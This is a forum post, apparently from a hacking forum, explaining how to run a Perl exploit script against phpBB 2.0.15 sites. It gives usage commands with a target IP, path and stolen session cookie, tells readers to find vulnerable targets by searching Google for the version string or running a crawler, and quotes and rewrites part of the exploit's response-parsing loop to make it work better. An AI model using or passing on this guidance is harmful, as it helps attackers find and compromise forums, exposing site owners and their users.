Necesitas ser usuario para ver los enlaces
Crear Usuario Hacer Sesion put the source please, the kids must know the origin...
First you must know how the perl code has made and recreate the "scene" of phpbb vulnerability works!
Second, if you run that exploit (in the case of you know all about perl and exploit coding) under windows you'll need a perl interpreter or just install cygwin and run on the perl dir (place that on cygwin binaries):
you @cygwin:#perl phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=<cookie_string_here>
or maybe if you use linux:
you @distro:# perl phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=<cookie_string_here>
You'll need for necesary if the target have the phpbb rigth version (PhpBB 2.0.15) this is simple, seek on google for PhpBB 2.0.15 string:
Necesitas ser usuario para ver los enlaces
Crear Usuario Hacer Sesionor run a crawler to revelate that!
try first for learn more about perl languaje and "exploitation techniques".
EDITED:
i see inside of the exploit code, this is a classical brute force and is not an effective start, you'll see:
while ($answer = <$sock>) {
$delimitIndex = index $answer, $delimit;
if ($delimitIndex >= 0) {
$succes = 1;
$urlIndex = index $answer, "href";
if ($urlIndex < 0){
$answer = substr($answer, length($delimit));
$length = 0;
while (length($answer) > 0) {
$nex = index($answer, $delimit);
if ($nex > 0) {
push( @array, substr($answer, 0, $nex));
$answer = substr($answer, $nex + length($delimit), length($answer));
} else {
$answer= "";
}
}
}
}
}
Actually those lines:
while (length($answer) > 0) {
$nex = index($answer, $delimit);
if ($nex > 0) {
push( @array, substr($answer, 0, $nex));
$answer = substr($answer, $nex + length($delimit), length($answer));
} else {
$answer= "";
}
if ($delimitIndex >= 0) {
$succes = 1;
$urlIndex = index $answer, "href";
are not effective against these phpbb, i don't know exactly but try to change for that:
change those lines for:
if ($delimitIndex >= 0) {
$succes = 1;
$urlIndex = index $answer, "href";
while (length($answer) > 0) {
$nex = index($answer, $delimit);
if ($nex > 0) {
push( @array, substr($answer, 0, $nex));
$answer = substr($answer, $nex + length($delimit), length($answer));
} else {
$answer= "hr";
}
}
so, try and come back for discuss that....
cheers